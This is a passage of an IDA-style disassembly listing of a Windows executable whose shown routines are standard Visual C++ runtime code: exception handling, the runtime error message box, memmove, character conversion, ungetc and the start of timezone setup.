sub_41D304 proc near ; DATA XREF: sub_41BC2B+Ao
; sub_41D6F3+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_41D3A4
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_41D337: ; CODE XREF: sub_41D304+90j
cmp esi, 0FFFFFFFFh
jz short loc_41D39D
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_41D38B
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_41D38B
js short loc_41D396
mov edi, [ebx+8]
push ebx
call sub_41D20C
; ---------------------------------------------------------------------------
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_41D24E
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_41D2E2
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_41D38B: ; CODE XREF: sub_41D304+40j
; sub_41D304+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_41D337
; ---------------------------------------------------------------------------
loc_41D396: ; CODE XREF: sub_41D304+54j
mov eax, 0
jmp short loc_41D3B9
; ---------------------------------------------------------------------------
loc_41D39D: ; CODE XREF: sub_41D304+36j
mov eax, 1
jmp short loc_41D3B9
; ---------------------------------------------------------------------------
loc_41D3A4: ; CODE XREF: sub_41D304+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_41D24E
add esp, 8
pop ebp
mov eax, 1
loc_41D3B9: ; CODE XREF: sub_41D304+97j
; sub_41D304+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41D304 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_41D24E
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_41D3DC proc near ; CODE XREF: sub_4191E5+9p
mov eax, dword_5158D8
cmp eax, 1
jz short loc_41D3F3
test eax, eax
jnz short locret_41D414
cmp dword_43B594, 1
jnz short locret_41D414
loc_41D3F3: ; CODE XREF: sub_41D3DC+8j
push 0FCh
call sub_41D415
mov eax, dword_515A30
pop ecx
test eax, eax
jz short loc_41D409
call eax
loc_41D409: ; CODE XREF: sub_41D3DC+29j
push 0FFh
call sub_41D415
pop ecx
locret_41D414: ; CODE XREF: sub_41D3DC+Cj
; sub_41D3DC+15j
retn
sub_41D3DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D415 proc near ; CODE XREF: sub_4191E5+12p
; sub_41D3DC+1Cp ...
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_43BAE8
loc_41D428: ; CODE XREF: sub_41D415+20j
cmp edx, [eax]
jz short loc_41D437
add eax, 8
inc ecx
cmp eax, offset off_43BB78
jl short loc_41D428
loc_41D437: ; CODE XREF: sub_41D415+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword_43BAE8[esi]
jnz loc_41D565
mov eax, dword_5158D8
cmp eax, 1
jz loc_41D53F
test eax, eax
jnz short loc_41D468
cmp dword_43B594, 1
jz loc_41D53F
loc_41D468: ; CODE XREF: sub_41D415+44j
cmp edx, 0FCh
jz loc_41D565
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
nop
call near ptr 7C80B4CFh
test eax, eax
jnz short loc_41D49F
lea eax, [ebp+var_1A4]
push offset aProgramNameUnk ; "<program name unknown>"
push eax
call sub_417A00
pop ecx
pop ecx
loc_41D49F: ; CODE XREF: sub_41D415+75j
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_417AF0
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_41D4E2
lea eax, [ebp+var_1A4]
push eax
call sub_417AF0
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_4182F0
add esp, 10h
loc_41D4E2: ; CODE XREF: sub_41D415+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_417A00
lea eax, [ebp+var_A0]
push edi
push eax
call sub_417A10
lea eax, [ebp+var_A0]
push offset asc_4219C0 ; "\n\n"
push eax
call sub_417A10
push off_43BAEC[esi]
lea eax, [ebp+var_A0]
push eax
call sub_417A10
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_41EE5D
add esp, 2Ch
pop edi
jmp short loc_41D565
; ---------------------------------------------------------------------------
loc_41D53F: ; CODE XREF: sub_41D415+3Cj
; sub_41D415+4Dj
lea eax, [ebp+arg_0]
lea esi, off_43BAEC[esi]
push 0
push eax
push dword ptr [esi]
call sub_417AF0
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
nop
call near ptr 7C812F39h
push eax
nop
call near ptr 7C810D87h
loc_41D565: ; CODE XREF: sub_41D415+2Ej
; sub_41D415+59j ...
pop esi
leave
retn
sub_41D415 endp
; =============== S U B R O U T I N E =======================================
sub_41D568 proc near ; CODE XREF: sub_41922E+6Cp
; sub_41B582+32p ...
arg_0 = dword ptr 4
inc dword_515A34
push 1000h
call sub_417BEE
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_41D591
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_41D5A2
; ---------------------------------------------------------------------------
loc_41D591: ; CODE XREF: sub_41D568+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_41D5A2: ; CODE XREF: sub_41D568+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_41D568 endp
; =============== S U B R O U T I N E =======================================
sub_41D5AC proc near ; CODE XREF: sub_41922E+61p
; sub_41C981+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_516C80
jb short loc_41D5BB
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41D5BB: ; CODE XREF: sub_41D5AC+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_516B80[ecx*4]
mov al, [ecx+eax*8+4]
and eax, 40h
retn
sub_41D5AC endp
; =============== S U B R O U T I N E =======================================
sub_41D5D2 proc near ; DATA XREF: ___:00423014o
mov eax, dword_516B60
push esi
push 14h
test eax, eax
pop esi
jnz short loc_41D5E6
mov eax, 200h
jmp short loc_41D5EC
; ---------------------------------------------------------------------------
loc_41D5E6: ; CODE XREF: sub_41D5D2+Bj
cmp eax, esi
jge short loc_41D5F1
mov eax, esi
loc_41D5EC: ; CODE XREF: sub_41D5D2+12j
mov dword_516B60, eax
loc_41D5F1: ; CODE XREF: sub_41D5D2+16j
push 4
push eax
call sub_41EEE6
pop ecx
mov dword_515B4C, eax
test eax, eax
pop ecx
jnz short loc_41D625
push 4
push esi
mov dword_516B60, esi
call sub_41EEE6
pop ecx
mov dword_515B4C, eax
test eax, eax
pop ecx
jnz short loc_41D625
push 1Ah
call sub_4191E5
pop ecx
loc_41D625: ; CODE XREF: sub_41D5D2+30j
; sub_41D5D2+49j
xor ecx, ecx
mov eax, offset off_43BB78
loc_41D62C: ; CODE XREF: sub_41D5D2+6Ej
mov edx, dword_515B4C
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset dword_43BDF8
jl short loc_41D62C
xor edx, edx
mov ecx, offset dword_43BB88
loc_41D649: ; CODE XREF: sub_41D5D2+A1j
mov eax, edx
mov esi, edx
sar eax, 5
and esi, 1Fh
mov eax, dword_516B80[eax*4]
mov eax, [eax+esi*8]
cmp eax, 0FFFFFFFFh
jz short loc_41D666
test eax, eax
jnz short loc_41D669
loc_41D666: ; CODE XREF: sub_41D5D2+8Ej
or dword ptr [ecx], 0FFFFFFFFh
loc_41D669: ; CODE XREF: sub_41D5D2+92j
add ecx, 20h
inc edx
cmp ecx, offset dword_43BBE8
jl short loc_41D649
pop esi
retn
sub_41D5D2 endp
; =============== S U B R O U T I N E =======================================
sub_41D677 proc near ; DATA XREF: ___:00423020o
; FUNCTION CHUNK AT 0041EF63 SIZE 00000058 BYTES
call sub_41B50C
cmp byte_5158C4, 0
jz short locret_41D68A
jmp loc_41EF63
; ---------------------------------------------------------------------------
locret_41D68A: ; CODE XREF: sub_41D677+Cj
retn
sub_41D677 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D68B proc near ; CODE XREF: sub_419343+2D4p
; sub_419343+6B3p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_41D697
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41D697: ; CODE XREF: sub_41D68B+8j
cmp dword_5158EC, 0
jnz short loc_41D6B2
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_41D6E4
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41D6B2: ; CODE XREF: sub_41D68B+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push dword_43B7AC
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push dword_5158FC
nop
call near ptr 7C80A0D4h
test eax, eax
jz short loc_41D6E4
cmp [ebp+arg_0], 0
jz short loc_41D6F1
loc_41D6E4: ; CODE XREF: sub_41D68B+1Ej
; sub_41D68B+51j
mov dword_515884, 2Ah
or eax, 0FFFFFFFFh
loc_41D6F1: ; CODE XREF: sub_41D68B+57j
pop ebp
retn
sub_41D68B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D6F3 proc near ; CODE XREF: sub_419B4D+5Ep
; sub_41C23B+9Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421A00
push offset sub_41D304
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_515A38
xor ebx, ebx
cmp eax, ebx
jnz short loc_41D762
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_4216A0
push esi
nop
call near ptr 7C80A490h
test eax, eax
jz short loc_41D740
mov eax, esi
jmp short loc_41D75D
; ---------------------------------------------------------------------------
loc_41D740: ; CODE XREF: sub_41D6F3+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_441700
push esi
push ebx
nop
call near ptr 7C838A0Ch
test eax, eax
jz loc_41D828
push 2
pop eax
loc_41D75D: ; CODE XREF: sub_41D6F3+4Bj
mov dword_515A38, eax
loc_41D762: ; CODE XREF: sub_41D6F3+2Fj
cmp eax, 2
jnz short loc_41D78B
mov eax, [ebp+arg_14]
cmp eax, ebx
jnz short loc_41D773
mov eax, dword_5158EC
loc_41D773: ; CODE XREF: sub_41D6F3+79j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
nop
call near ptr 7C838A0Ch
jmp loc_41D82A
; ---------------------------------------------------------------------------
loc_41D78B: ; CODE XREF: sub_41D6F3+72j
cmp eax, 1
jnz loc_41D828
cmp [ebp+arg_10], ebx
jnz short loc_41D7A1
mov eax, dword_5158FC
mov [ebp+arg_10], eax
loc_41D7A1: ; CODE XREF: sub_41D6F3+A4j
push ebx
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, [ebp+arg_18]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_10]
nop
call near ptr 7C809BF8h
mov [ebp+var_20], eax
cmp eax, ebx
jz short loc_41D828
mov [ebp+var_4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_417B70
mov [ebp+var_18], esp
mov esi, esp
mov [ebp+var_24], esi
push edi
push ebx
push esi
call sub_417430
add esp, 0Ch
jmp short loc_41D7F7
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor esi, esi
loc_41D7F7: ; CODE XREF: sub_41D6F3+F7j
or [ebp+var_4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_41D828
push [ebp+var_20]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push [ebp+arg_10]
nop
call near ptr 7C809BF8h
cmp eax, ebx
jz short loc_41D828
push [ebp+arg_C]
push eax
push esi
push [ebp+arg_0]
nop
call near ptr 7C80A490h
jmp short loc_41D82A
; ---------------------------------------------------------------------------
loc_41D828: ; CODE XREF: sub_41D6F3+61j
; sub_41D6F3+9Bj ...
xor eax, eax
loc_41D82A: ; CODE XREF: sub_41D6F3+93j
; sub_41D6F3+133j
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41D6F3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D840 proc near ; CODE XREF: sub_419C82+2EEp
; sub_41C8F5+1Ap ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41D860
cmp edi, eax
jb loc_41D9D8
loc_41D860: ; CODE XREF: sub_41D840+16j
test edi, 3
jnz short loc_41D87C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41D89C
rep movsd
jmp off_41D988[edx*4]
; ---------------------------------------------------------------------------
loc_41D87C: ; CODE XREF: sub_41D840+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41D894
and eax, 3
add ecx, eax
jmp dword ptr loc_41D89C+4[eax*4]
; ---------------------------------------------------------------------------
loc_41D894: ; CODE XREF: sub_41D840+46j
jmp dword ptr loc_41D998[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D89C: ; CODE XREF: sub_41D840+31j
; sub_41D840+8Ej ...
jmp off_41D91C[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41D8B0
dd offset loc_41D8DC
dd offset loc_41D900
; ---------------------------------------------------------------------------
loc_41D8B0: ; DATA XREF: sub_41D840+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41D89C
rep movsd
jmp off_41D988[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D8DC: ; DATA XREF: sub_41D840+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41D89C
rep movsd
jmp off_41D988[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41D900: ; DATA XREF: sub_41D840+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41D89C
rep movsd
jmp off_41D988[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41D91C dd offset loc_41D97F ; DATA XREF: sub_41D840:loc_41D89Cr
dd offset loc_41D96C
dd offset loc_41D964
dd offset loc_41D95C
dd offset loc_41D954
dd offset loc_41D94C
dd offset loc_41D944
dd offset loc_41D93C
; ---------------------------------------------------------------------------
loc_41D93C: ; CODE XREF: sub_41D840:loc_41D89Cj
; DATA XREF: sub_41D840+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41D944: ; CODE XREF: sub_41D840:loc_41D89Cj
; DATA XREF: sub_41D840+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41D94C: ; CODE XREF: sub_41D840:loc_41D89Cj
; DATA XREF: sub_41D840+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41D954: ; CODE XREF: sub_41D840:loc_41D89Cj
; DATA XREF: sub_41D840+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41D95C: ; CODE XREF: sub_41D840:loc_41D89Cj
; DATA XREF: sub_41D840+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41D964: ; CODE XREF: sub_41D840:loc_41D89Cj
; DATA XREF: sub_41D840+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41D96C: ; CODE XREF: sub_41D840:loc_41D89Cj
; DATA XREF: sub_41D840+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41D97F: ; CODE XREF: sub_41D840:loc_41D89Cj
; DATA XREF: sub_41D840:off_41D91Co
jmp off_41D988[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41D988 dd offset loc_41D998 ; DATA XREF: sub_41D840+35r
; sub_41D840+92r ...
dd offset loc_41D9A0
dd offset loc_41D9AC
dd offset loc_41D9C0
; ---------------------------------------------------------------------------
loc_41D998: ; CODE XREF: sub_41D840+35j
; sub_41D840+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41D9A0: ; CODE XREF: sub_41D840+35j
; sub_41D840+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D9AC: ; CODE XREF: sub_41D840+35j
; sub_41D840+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41D9C0: ; CODE XREF: sub_41D840+35j
; sub_41D840+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D9D8: ; CODE XREF: sub_41D840+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41DA0C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41DA00
std
rep movsd
cld
jmp off_41DB20[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41DA00: ; CODE XREF: sub_41D840+1B1j
; sub_41D840+208j ...
neg ecx
jmp dword ptr loc_41DACF+1[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41DA0C: ; CODE XREF: sub_41D840+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41DA24
and eax, 3
sub ecx, eax
jmp dword ptr loc_41DA24+4[eax*4]
; ---------------------------------------------------------------------------
loc_41DA24: ; CODE XREF: sub_41D840+1D6j
; DATA XREF: sub_41D840+1DDr
jmp off_41DB20[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41DA37+1
; ---------------------------------------------------------------------------
pop eax
fiadd dword ptr [ecx+0]
sbb dl, 41h
loc_41DA37: ; DATA XREF: sub_41D840+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41DA00
std
rep movsd
cld
jmp off_41DB20[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41DA00
std
rep movsd
cld
jmp off_41DB20[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41DA00
std
rep movsd
cld
jmp off_41DB20[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41DAD4
dd offset loc_41DADC
dd offset loc_41DAE4
dd offset loc_41DAEC
dd offset loc_41DAF4
; ---------------------------------------------------------------------------
cld
fiadd dword ptr [ecx+0]
add al, 0DBh
inc ecx
loc_41DACF: ; DATA XREF: sub_41D840+1C2r
add [edi], dl
fild dword ptr [ecx+0]
loc_41DAD4: ; DATA XREF: sub_41D840+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41DADC: ; DATA XREF: sub_41D840+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_41DAE4: ; DATA XREF: sub_41D840+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41DAEC: ; DATA XREF: sub_41D840+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_41DAF4: ; DATA XREF: sub_41D840+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41DB17: ; CODE XREF: sub_41D840+1C2j
jmp off_41DB20[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41DB20 dd offset loc_41DB30 ; DATA XREF: sub_41D840+1B7r
; sub_41D840:loc_41DA24r ...
dd offset loc_41DB38
dd offset loc_41DB48
dd offset loc_41DB5C
; ---------------------------------------------------------------------------
loc_41DB30: ; CODE XREF: sub_41D840+1B7j
; sub_41D840:loc_41DA24j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41DB38: ; CODE XREF: sub_41D840+1B7j
; sub_41D840:loc_41DA24j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41DB48: ; CODE XREF: sub_41D840+1B7j
; sub_41D840:loc_41DA24j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41DB5C: ; CODE XREF: sub_41D840+1B7j
; sub_41D840:loc_41DA24j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41D840 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DB75 proc near ; CODE XREF: sub_41A824+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_41DB98
cmp [ebp+arg_8], ebx
jz short loc_41DB98
mov al, [esi]
cmp al, bl
jnz short loc_41DB9E
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_41DB98
mov [eax], bx
loc_41DB98: ; CODE XREF: sub_41DB75+Cj
; sub_41DB75+11j ...
xor eax, eax
loc_41DB9A: ; CODE XREF: sub_41DB75+42j
; sub_41DB75+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41DB9E: ; CODE XREF: sub_41DB75+17j
cmp dword_5158EC, ebx
jnz short loc_41DBB9
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_41DBB4
movzx ax, al
mov [ecx], ax
loc_41DBB4: ; CODE XREF: sub_41DB75+36j
; sub_41DB75+C0j
push 1
pop eax
jmp short loc_41DB9A
; ---------------------------------------------------------------------------
loc_41DBB9: ; CODE XREF: sub_41DB75+2Fj
mov ecx, off_43B5A0
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41DC16
mov eax, dword_43B7AC
cmp eax, 1
jle short loc_41DBFD
cmp [ebp+arg_8], eax
jl short loc_41DC07
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push dword_5158FC
nop
call near ptr 7C809BF8h
test eax, eax
mov eax, dword_43B7AC
jnz short loc_41DB9A
loc_41DBFD: ; CODE XREF: sub_41DB75+5Cj
cmp [ebp+arg_8], eax
jb short loc_41DC07
cmp [esi+1], bl
jnz short loc_41DB9A
loc_41DC07: ; CODE XREF: sub_41DB75+61j
; sub_41DB75+8Bj ...
mov dword_515884, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_41DB9A
; ---------------------------------------------------------------------------
loc_41DC16: ; CODE XREF: sub_41DB75+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push dword_5158FC
nop
call near ptr 7C809BF8h
test eax, eax
jnz loc_41DBB4
jmp short loc_41DC07
sub_41DB75 endp
; =============== S U B R O U T I N E =======================================
sub_41DC3D proc near ; CODE XREF: sub_41A824+76p
; sub_41A824+88p ...
arg_0 = dword ptr 4
cmp dword_43B7AC, 1
jle short loc_41DC54
push 8
push [esp+4+arg_0]
call sub_419B4D
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41DC54: ; CODE XREF: sub_41DC3D+7j
mov eax, [esp+arg_0]
mov ecx, off_43B5A0
mov al, [ecx+eax*2]
and eax, 8
retn
sub_41DC3D endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DC70 proc near ; CODE XREF: sub_41A824+797p
; sub_41A824+7E7p
cmp cl, 40h
jnb short loc_41DC8A
cmp cl, 20h
jnb short loc_41DC80
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_41DC80: ; CODE XREF: sub_41DC70+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_41DC8A: ; CODE XREF: sub_41DC70+3j
xor eax, eax
xor edx, edx
retn
sub_41DC70 endp
; =============== S U B R O U T I N E =======================================
sub_41DC8F proc near ; CODE XREF: sub_41B29A+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_41DCDB
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_41DCAD
test al, 80h
jz short loc_41DCDB
test al, 2
jnz short loc_41DCDB
loc_41DCAD: ; CODE XREF: sub_41DC8F+14j
cmp dword ptr [esi+8], 0
jnz short loc_41DCBA
push esi
call sub_41D568
pop ecx
loc_41DCBA: ; CODE XREF: sub_41DC8F+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_41DCCA
cmp dword ptr [esi+4], 0
jnz short loc_41DCDB
inc eax
mov [esi], eax
loc_41DCCA: ; CODE XREF: sub_41DC8F+30j
test byte ptr [esi+0Ch], 40h
jz short loc_41DCE1
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_41DCE7
inc eax
mov [esi], eax
loc_41DCDB: ; CODE XREF: sub_41DC8F+9j
; sub_41DC8F+18j ...
or eax, 0FFFFFFFFh
loc_41DCDE: ; CODE XREF: sub_41DC8F+6Cj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41DCE1: ; CODE XREF: sub_41DC8F+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_41DCE7: ; CODE XREF: sub_41DC8F+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
jmp short loc_41DCDE
sub_41DC8F endp
; =============== S U B R O U T I N E =======================================
sub_41DCFD proc near ; CODE XREF: sub_41B2D5:loc_41B314p
cmp dword_515AF8, 0
jnz short locret_41DD11
call sub_41DD12
inc dword_515AF8
locret_41DD11: ; CODE XREF: sub_41DCFD+7j
retn
sub_41DCFD endp
; =============== S U B R O U T I N E =======================================
sub_41DD12 proc near ; CODE XREF: sub_41DCFD+9p
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
or ebx, 0FFFFFFFFh
push offset aTz ; "TZ"
xor edi, edi
